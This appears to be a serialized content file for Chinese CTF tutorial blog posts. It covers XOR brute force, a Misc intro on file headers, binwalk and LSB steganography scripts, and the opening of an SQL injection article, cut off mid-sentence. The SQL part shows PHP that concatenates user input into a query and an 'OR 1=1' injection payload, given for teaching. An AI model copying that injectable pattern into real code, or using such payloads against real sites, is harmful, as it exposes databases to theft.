break\n",[19,3857,3858,3863,3868,3872,3877,3881,3885,3889,3894,3898,3903,3908],{"__ignoreMap":44},[48,3859,3860],{"class":50,"line":51},[48,3861,3862],{},"from binascii import unhexlify\n",[48,3864,3865],{"class":50,"line":68},[48,3866,3867],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[48,3869,3870],{"class":50,"line":107},[48,3871,111],{"emptyLinePlaceholder":110},[48,3873,3874],{"class":50,"line":114},[48,3875,3876],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[48,3878,3879],{"class":50,"line":120},[48,3880,111],{"emptyLinePlaceholder":110},[48,3882,3883],{"class":50,"line":126},[48,3884,3306],{},[48,3886,3887],{"class":50,"line":132},[48,3888,3316],{},[48,3890,3891],{"class":50,"line":137},[48,3892,3893],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[48,3895,3896],{"class":50,"line":143},[48,3897,3331],{},[48,3899,3900],{"class":50,"line":149},[48,3901,3902],{},"        print(\"key =\", k)          # 预期 66\n",[48,3904,3905],{"class":50,"line":155},[48,3906,3907],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[48,3909,3910],{"class":50,"line":160},[48,3911,3351],{},[15,3913,3111],{},[39,3915,3917],{"className":3916,"code":3362,"language":287,"meta":44},[285],[19,3918,3362],{"__ignoreMap":44},[10,3920,2226],{"id":2225},[15,3922,3923],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[920,3925,3926],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":44,"searchDepth":68,"depth":68,"links":3928},[3929,3930,3931,3932,3933,3934,3935,3936],{"id":2947,"depth":107,"text":2948},{"id":33,"depth":107,"text":34},{"id":3187,"depth":107,"text":3188},{"id":3414,"depth":107,"text":3415},{"id":3493,"depth":107,"text":3494},{"id":1933,"depth":107,"text":1934},{"id":3832,"depth":107,"text":3833},{"id":2225,"depth":107,"text":2226},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":938,"image":3939,"alt":3940,"tags":3941,"published":110},"/blogs-img/blog3.png","CTF 密码学入门",[942,3942,943],"crypto","/blogs/ctf-crypto-overview",{"title":2942,"description":3937},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":3948,"title":3949,"body":3950,"description":4904,"extension":936,"meta":4905,"navigation":110,"ogImage":4906,"path":4910,"seo":4911,"stem":4912,"__hash__":4913},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":7,"value":3951,"toc":4894},[3952,3956,3966,3969,4029,4031,4064,4068,4072,4077,4082,4094,4096,4102,4109,4132,4136,4141,4164,4166,4172,4182,4186,4191,4202,4223,4226,4230,4233,4246,4248,4254,4257,4271,4278,4285,4296,4300,4304,4307,4313,4316,4320,4325,4528,4542,4546,4551,4556,4686,4688,4694,4698,4723,4729,4731,4802,4806,4811,4814,4825,4830,4833,4851,4854,4857,4867,4870,4873,4878,4880,4891],[10,3953,3955],{"id":3954},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,3957,3958,3959,3962,3963,30],{},"操作系统按扩展名选择打开程序（",[19,3960,3961],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[27,3964,3965],{},"先看文件头，再信扩展名",[15,3967,3968],{},"必须记住的三个文件头：",[294,3970,3971,3984],{},[297,3972,3973],{},[300,3974,3975,3978,3981],{},[303,3976,3977],{},"文件",[303,3979,3980],{},"文件头（hex）",[303,3982,3983],{},"明文",[313,3985,3986,4001,4014],{},[300,3987,3988,3991,3996],{},[318,3989,3990],{},"PNG",[318,3992,3993],{},[19,3994,3995],{},"89 50 4E 47 0D 0A 1A 0A",[318,3997,3998],{},[19,3999,4000],{},"‰PNG",[300,4002,4003,4006,4011],{},[318,4004,4005],{},"JPEG",[318,4007,4008],{},[19,4009,4010],{},"FF D8 FF",[318,4012,4013],{},"—",[300,4015,4016,4019,4024],{},[318,4017,4018],{},"ZIP",[318,4020,4021],{},[19,4022,4023],{},"50 4B 03 04",[318,4025,4026],{},[19,4027,4028],{},"PK",[10,4030,34],{"id":33},[39,4032,4034],{"className":41,"code":4033,"language":43,"meta":44,"style":44},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[19,4035,4036,4055],{"__ignoreMap":44},[48,4037,4038,4040,4042,4044,4046,4049,4052],{"class":50,"line":51},[48,4039,55],{"class":54},[48,4041,59],{"class":58},[48,4043,1033],{"class":58},[48,4045,1036],{"class":58},[48,4047,4048],{"class":58}," binwalk",[48,4050,4051],{"class":58}," foremost",[48,4053,4054],{"class":58}," exiftool\n",[48,4056,4057,4059,4061],{"class":50,"line":68},[48,4058,71],{"class":54},[48,4060,59],{"class":58},[48,4062,4063],{"class":58}," pillow\n",[10,4065,4067],{"id":4066},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[462,4069,4071],{"id":4070},"_31-file看真实类型","3.1 file：看真实类型",[15,4073,4074,4076],{},[27,4075,252],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,4078,4079,4081],{},[27,4080,836],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[39,4083,4085],{"className":41,"code":4084,"language":43,"meta":44,"style":44},"file hidden.png\n",[19,4086,4087],{"__ignoreMap":44},[48,4088,4089,4091],{"class":50,"line":51},[48,4090,1082],{"class":54},[48,4092,4093],{"class":58}," hidden.png\n",[15,4095,3111],{},[39,4097,4100],{"className":4098,"code":4099,"language":287,"meta":44},[285],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[19,4101,4099],{"__ignoreMap":44},[15,4103,4104,4105,4108],{},"如果输出是 ",[19,4106,4107],{},"Zip archive data","，说明文件其实是 zip：",[39,4110,4112],{"className":41,"code":4111,"language":43,"meta":44,"style":44},"mv flag.png flag.zip && unzip flag.zip\n",[19,4113,4114],{"__ignoreMap":44},[48,4115,4116,4119,4122,4125,4127,4129],{"class":50,"line":51},[48,4117,4118],{"class":54},"mv",[48,4120,4121],{"class":58}," flag.png",[48,4123,4124],{"class":58}," flag.zip",[48,4126,1679],{"class":994},[48,4128,1656],{"class":54},[48,4130,4131],{"class":58}," flag.zip\n",[462,4133,4135],{"id":4134},"_32-xxd看文件头","3.2 xxd：看文件头",[15,4137,4138,4140],{},[27,4139,252],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[39,4142,4144],{"className":41,"code":4143,"language":43,"meta":44,"style":44},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[19,4145,4146,4159],{"__ignoreMap":44},[48,4147,4148,4151,4154,4157],{"class":50,"line":51},[48,4149,4150],{"class":54},"xxd",[48,4152,4153],{"class":219}," -l",[48,4155,4156],{"class":219}," 16",[48,4158,4093],{"class":58},[48,4160,4161],{"class":50,"line":68},[48,4162,4163],{"class":237},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,4165,3111],{},[39,4167,4170],{"className":4168,"code":4169,"language":287,"meta":44},[285],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[19,4171,4169],{"__ignoreMap":44},[15,4173,4174,4175,4178,4179,30],{},"开头的 ",[19,4176,4177],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[19,4180,4181],{},".PNG",[462,4183,4185],{"id":4184},"_33-strings搜字符串","3.3 strings：搜字符串",[15,4187,4188,4190],{},[27,4189,252],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,4192,4193,87,4195,4197,4198,4201],{},[27,4194,258],{},[19,4196,1125],{}," 把可打印字符串抽出来，",[19,4199,4200],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[39,4203,4205],{"className":41,"code":4204,"language":43,"meta":44,"style":44},"strings flag.png | grep -i flag\n",[19,4206,4207],{"__ignoreMap":44},[48,4208,4209,4211,4213,4215,4217,4220],{"class":50,"line":51},[48,4210,1125],{"class":54},[48,4212,4121],{"class":58},[48,4214,1313],{"class":987},[48,4216,1316],{"class":54},[48,4218,4219],{"class":219}," -i",[48,4221,4222],{"class":58}," flag\n",[15,4224,4225],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,4227,4229],{"id":4228},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,4231,4232],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[39,4234,4236],{"className":41,"code":4235,"language":43,"meta":44,"style":44},"binwalk flag.png\n",[19,4237,4238],{"__ignoreMap":44},[48,4239,4240,4243],{"class":50,"line":51},[48,4241,4242],{"class":54},"binwalk",[48,4244,4245],{"class":58}," flag.png\n",[15,4247,281],{},[39,4249,4252],{"className":4250,"code":4251,"language":287,"meta":44},[285],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[19,4253,4251],{"__ignoreMap":44},[15,4255,4256],{},"提取：",[39,4258,4260],{"className":41,"code":4259,"language":43,"meta":44,"style":44},"binwalk -e flag.png\n",[19,4261,4262],{"__ignoreMap":44},[48,4263,4264,4266,4269],{"class":50,"line":51},[48,4265,4242],{"class":54},[48,4267,4268],{"class":219}," -e",[48,4270,4245],{"class":58},[15,4272,4273,4274,4277],{},"会在当前目录生成 ",[19,4275,4276],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,4279,4280,4281,4284],{},"备选工具 ",[19,4282,4283],{},"foremost","（按文件头暴力切割）：",[39,4286,4288],{"className":41,"code":4287,"language":43,"meta":44,"style":44},"foremost flag.png\n",[19,4289,4290],{"__ignoreMap":44},[48,4291,4292,4294],{"class":50,"line":51},[48,4293,4283],{"class":54},[48,4295,4245],{"class":58},[10,4297,4299],{"id":4298},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[462,4301,4303],{"id":4302},"_51-原理","5.1 原理",[15,4305,4306],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[39,4308,4311],{"className":4309,"code":4310,"language":287,"meta":44},[285],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[19,4312,4310],{"__ignoreMap":44},[15,4314,4315],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[462,4317,4319],{"id":4318},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,4321,4322,4324],{},[27,4323,252],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[39,4326,4328],{"className":383,"code":4327,"language":385,"meta":44,"style":44},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n",[19,4329,4330,4335,4340,4344,4349,4354,4359,4364,4368,4373,4378,4383,4388,4393,4398,4403,4408,4412,4417,4422,4427,4432,4437,4442,4447,4452,4458,4464,4469,4475,4481,4487,4493,4498,4504,4510,4516,4522],{"__ignoreMap":44},[48,4331,4332],{"class":50,"line":51},[48,4333,4334],{},"from PIL import Image\n",[48,4336,4337],{"class":50,"line":68},[48,4338,4339],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[48,4341,4342],{"class":50,"line":107},[48,4343,111],{"emptyLinePlaceholder":110},[48,4345,4346],{"class":50,"line":114},[48,4347,4348],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[48,4350,4351],{"class":50,"line":120},[48,4352,4353],{},"# Image.new(mode, size, color)：新建一张图片。\n",[48,4355,4356],{"class":50,"line":126},[48,4357,4358],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[48,4360,4361],{"class":50,"line":132},[48,4362,4363],{},"message = \"flag{lsb_steganography}\"\n",[48,4365,4366],{"class":50,"line":137},[48,4367,111],{"emptyLinePlaceholder":110},[48,4369,4370],{"class":50,"line":143},[48,4371,4372],{},"data = message.encode() + b'\\x00'\n",[48,4374,4375],{"class":50,"line":149},[48,4376,4377],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[48,4379,4380],{"class":50,"line":155},[48,4381,4382],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[48,4384,4385],{"class":50,"line":160},[48,4386,4387],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[48,4389,4390],{"class":50,"line":165},[48,4391,4392],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[48,4394,4395],{"class":50,"line":171},[48,4396,4397],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[48,4399,4400],{"class":50,"line":177},[48,4401,4402],{},"pixels = list(img.getdata())\n",[48,4404,4405],{"class":50,"line":183},[48,4406,4407],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[48,4409,4410],{"class":50,"line":189},[48,4411,111],{"emptyLinePlaceholder":110},[48,4413,4414],{"class":50,"line":195},[48,4415,4416],{},"new_pixels = []\n",[48,4418,4419],{"class":50,"line":201},[48,4420,4421],{},"i = 0\n",[48,4423,4424],{"class":50,"line":3660},[48,4425,4426],{},"for r, g, b in pixels:\n",[48,4428,4429],{"class":50,"line":3666},[48,4430,4431],{},"    if i \u003C len(bits):\n",[48,4433,4434],{"class":50,"line":3672},[48,4435,4436],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[48,4438,4439],{"class":50,"line":3678},[48,4440,4441],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[48,4443,4444],{"class":50,"line":3684},[48,4445,4446],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[48,4448,4450],{"class":50,"line":4449},25,[48,4451,4431],{},[48,4453,4455],{"class":50,"line":4454},26,[48,4456,4457],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[48,4459,4461],{"class":50,"line":4460},27,[48,4462,4463],{},"        # 绿色通道同样处理。\n",[48,4465,4467],{"class":50,"line":4466},28,[48,4468,4431],{},[48,4470,4472],{"class":50,"line":4471},29,[48,4473,4474],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[48,4476,4478],{"class":50,"line":4477},30,[48,4479,4480],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[48,4482,4484],{"class":50,"line":4483},31,[48,4485,4486],{},"    new_pixels.append((r, g, b))\n",[48,4488,4490],{"class":50,"line":4489},32,[48,4491,4492],{},"    # 修改后的像素放入新列表。\n",[48,4494,4496],{"class":50,"line":4495},33,[48,4497,111],{"emptyLinePlaceholder":110},[48,4499,4501],{"class":50,"line":4500},34,[48,4502,4503],{},"img.putdata(new_pixels)\n",[48,4505,4507],{"class":50,"line":4506},35,[48,4508,4509],{},"# putdata()：把新像素列表写回图片对象。\n",[48,4511,4513],{"class":50,"line":4512},36,[48,4514,4515],{},"img.save('hidden.png')\n",[48,4517,4519],{"class":50,"line":4518},37,[48,4520,4521],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[48,4523,4525],{"class":50,"line":4524},38,[48,4526,4527],{},"print(\"已生成 hidden.png\")\n",[15,4529,4530,4533,4534,4537,4538,4541],{},[19,4531,4532],{},"r & 0xfe"," 把最低位清零（",[19,4535,4536],{},"0xfe = 11111110","），",[19,4539,4540],{},"| bit"," 写入目标比特。",[462,4543,4545],{"id":4544},"_53-提取解题视角","5.3 提取（解题视角）",[15,4547,4548,4550],{},[27,4549,252],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,4552,4553,4555],{},[27,4554,258],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[39,4557,4559],{"className":383,"code":4558,"language":385,"meta":44,"style":44},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[19,4560,4561,4565,4569,4574,4579,4584,4589,4594,4599,4604,4609,4613,4618,4623,4628,4633,4638,4643,4648,4653,4658,4663,4667,4672,4676,4681],{"__ignoreMap":44},[48,4562,4563],{"class":50,"line":51},[48,4564,4334],{},[48,4566,4567],{"class":50,"line":68},[48,4568,111],{"emptyLinePlaceholder":110},[48,4570,4571],{"class":50,"line":107},[48,4572,4573],{},"img = Image.open('hidden.png').convert('RGB')\n",[48,4575,4576],{"class":50,"line":114},[48,4577,4578],{},"# Image.open(path)：打开图片文件。\n",[48,4580,4581],{"class":50,"line":120},[48,4582,4583],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[48,4585,4586],{"class":50,"line":126},[48,4587,4588],{},"bits = []\n",[48,4590,4591],{"class":50,"line":132},[48,4592,4593],{},"for r, g, b in img.getdata():\n",[48,4595,4596],{"class":50,"line":137},[48,4597,4598],{},"    bits += [r & 1, g & 1, b & 1]\n",[48,4600,4601],{"class":50,"line":143},[48,4602,4603],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[48,4605,4606],{"class":50,"line":149},[48,4607,4608],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[48,4610,4611],{"class":50,"line":155},[48,4612,111],{"emptyLinePlaceholder":110},[48,4614,4615],{"class":50,"line":160},[48,4616,4617],{},"data = bytearray()\n",[48,4619,4620],{"class":50,"line":165},[48,4621,4622],{},"for i in range(0, len(bits) - 7, 8):\n",[48,4624,4625],{"class":50,"line":171},[48,4626,4627],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[48,4629,4630],{"class":50,"line":177},[48,4631,4632],{},"    byte = 0\n",[48,4634,4635],{"class":50,"line":183},[48,4636,4637],{},"    for bit in bits[i:i+8]:\n",[48,4639,4640],{"class":50,"line":189},[48,4641,4642],{},"        byte = (byte \u003C\u003C 1) | bit\n",[48,4644,4645],{"class":50,"line":195},[48,4646,4647],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[48,4649,4650],{"class":50,"line":201},[48,4651,4652],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[48,4654,4655],{"class":50,"line":3660},[48,4656,4657],{},"    if byte == 0:\n",[48,4659,4660],{"class":50,"line":3666},[48,4661,4662],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[48,4664,4665],{"class":50,"line":3672},[48,4666,3351],{},[48,4668,4669],{"class":50,"line":3678},[48,4670,4671],{},"    data.append(byte)\n",[48,4673,4674],{"class":50,"line":3684},[48,4675,111],{"emptyLinePlaceholder":110},[48,4677,4678],{"class":50,"line":4449},[48,4679,4680],{},"print(data.decode())\n",[48,4682,4683],{"class":50,"line":4454},[48,4684,4685],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,4687,3111],{},[39,4689,4692],{"className":4690,"code":4691,"language":287,"meta":44},[285],"flag{lsb_steganography}\n",[19,4693,4691],{"__ignoreMap":44},[462,4695,4697],{"id":4696},"_54-现成工具","5.4 现成工具",[39,4699,4701],{"className":41,"code":4700,"language":43,"meta":44,"style":44},"gem install zsteg\nzsteg -a hidden.png\n",[19,4702,4703,4713],{"__ignoreMap":44},[48,4704,4705,4708,4710],{"class":50,"line":51},[48,4706,4707],{"class":54},"gem",[48,4709,59],{"class":58},[48,4711,4712],{"class":58}," zsteg\n",[48,4714,4715,4718,4721],{"class":50,"line":68},[48,4716,4717],{"class":54},"zsteg",[48,4719,4720],{"class":219}," -a",[48,4722,4093],{"class":58},[15,4724,4725,4728],{},[19,4726,4727],{},"-a"," 全自动检测各种 LSB 变体。",[10,4730,1934],{"id":1933},[294,4732,4733,4744],{},[297,4734,4735],{},[300,4736,4737,4739,4741],{},[303,4738,718],{},[303,4740,1945],{},[303,4742,4743],{},"命令",[313,4745,4746,4758,4771,4787],{},[300,4747,4748,4750,4753],{},[318,4749,1082],{},[318,4751,4752],{},"看类型、看编码、看无后缀文件",[318,4754,4755],{},[19,4756,4757],{},"file flag",[300,4759,4760,4763,4766],{},[318,4761,4762],{},"xxd / hexdump",[318,4764,4765],{},"查看文件头、指定长度",[318,4767,4768],{},[19,4769,4770],{},"xxd -l 16 flag.png",[300,4772,4773,4775,4778],{},[318,4774,1125],{},[318,4776,4777],{},"提取字符串、指定长度、管道过滤",[318,4779,4780,530,4783,530,4785],{},[19,4781,4782],{},"strings flag.png",[19,4784,1977],{},[19,4786,1980],{},[300,4788,4789,4791,4794],{},[318,4790,4242],{},[318,4792,4793],{},"扫描、提取",[318,4795,4796,530,4799],{},[19,4797,4798],{},"binwalk flag.png",[19,4800,4801],{},"binwalk -e flag.png",[10,4803,4805],{"id":4804},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,4807,793,4808,30],{},[19,4809,4810],{},"flag.png",[15,4812,4813],{},"第一步：",[39,4815,4817],{"className":41,"code":4816,"language":43,"meta":44,"style":44},"file flag.png\n",[19,4818,4819],{"__ignoreMap":44},[48,4820,4821,4823],{"class":50,"line":51},[48,4822,1082],{"class":54},[48,4824,4245],{"class":58},[15,4826,1212,4827,30],{},[19,4828,4829],{},"PNG image data",[15,4831,4832],{},"第二步：",[39,4834,4835],{"className":41,"code":4204,"language":43,"meta":44,"style":44},[19,4836,4837],{"__ignoreMap":44},[48,4838,4839,4841,4843,4845,4847,4849],{"class":50,"line":51},[48,4840,1125],{"class":54},[48,4842,4121],{"class":58},[48,4844,1313],{"class":987},[48,4846,1316],{"class":54},[48,4848,4219],{"class":219},[48,4850,4222],{"class":58},[15,4852,4853],{},"无输出。",[15,4855,4856],{},"第三步：",[39,4858,4859],{"className":41,"code":4235,"language":43,"meta":44,"style":44},[19,4860,4861],{"__ignoreMap":44},[48,4862,4863,4865],{"class":50,"line":51},[48,4864,4242],{"class":54},[48,4866,4245],{"class":58},[15,4868,4869],{},"无隐藏文件。",[15,4871,4872],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[39,4874,4876],{"className":4875,"code":4691,"language":287,"meta":44},[285],[19,4877,4691],{"__ignoreMap":44},[10,4879,2226],{"id":2225},[15,4881,4882,4883,4885,4886,740,4888,4890],{},"Misc 入门三板斧：",[19,4884,1082],{}," 看类型、",[19,4887,1125],{},[19,4889,4242],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[920,4892,4893],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":44,"searchDepth":68,"depth":68,"links":4895},[4896,4897,4898,4899,4900,4901,4902,4903],{"id":3954,"depth":107,"text":3955},{"id":33,"depth":107,"text":34},{"id":4066,"depth":107,"text":4067},{"id":4228,"depth":107,"text":4229},{"id":4298,"depth":107,"text":4299},{"id":1933,"depth":107,"text":1934},{"id":4804,"depth":107,"text":4805},{"id":2225,"depth":107,"text":2226},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。",{"date":938,"image":4906,"alt":4907,"tags":4908,"published":110},"/blogs-img/blog4.png","CTF Misc 入门",[942,4909],"misc","/blogs/ctf-misc-overview",{"title":3949,"description":4904},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",{"id":4915,"title":4916,"body":4917,"description":6309,"extension":936,"meta":6310,"navigation":110,"ogImage":6311,"path":6316,"seo":6317,"stem":6318,"__hash__":6319},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":7,"value":4918,"toc":6298},[4919,4923,4926,4943,4953,4964,4971,4975,4979,5012,5018,5022,5025,5060,5065,5113,5119,5125,5129,5138,5143,5147,5152,5171,5173,5179,5183,5188,5204,5207,5213,5220,5224,5240,5246,5250,5266,5269,5283,5287,5292,5297,5304,5308,5316,5365,5368,5372,5380,5396,5402,5406,5422,5426,5430,5446,5451,5455,5471,5475,5490,5494,5510,5515,5521,5525,5530,5533,5537,5553,5558,5574,5579,5582,5591,5728,5731,5737,5741,5748,5764,5767,5771,5776,5780,5785,5808,5810,5816,5820,5840,5845,5849,5881,5888,5892,5936,5945,5952,5956,5961,5967,6137,6140,6152,6154,6160,6163,6284,6288,6295],[10,4920,4922],{"id":4921},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[15,4924,4925],{},"普通程序员的查询代码：",[39,4927,4931],{"className":4928,"code":4929,"language":4930,"meta":44,"style":44},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php",[19,4932,4933,4938],{"__ignoreMap":44},[48,4934,4935],{"class":50,"line":51},[48,4936,4937],{},"$id = $_GET['id'];\n",[48,4939,4940],{"class":50,"line":68},[48,4941,4942],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[15,4944,4945,4948,4949,4952],{},[19,4946,4947],{},"$id"," 被直接拼进 SQL 字符串。当 ",[19,4950,4951],{},"id=1 OR 1=1"," 时：",[39,4954,4958],{"className":4955,"code":4956,"language":4957,"meta":44,"style":44},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[19,4959,4960],{"__ignoreMap":44},[48,4961,4962],{"class":50,"line":51},[48,4963,4956],{},[15,4965,4966,4967,4970],{},"恒真，返回全表。",[27,4968,4969],{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 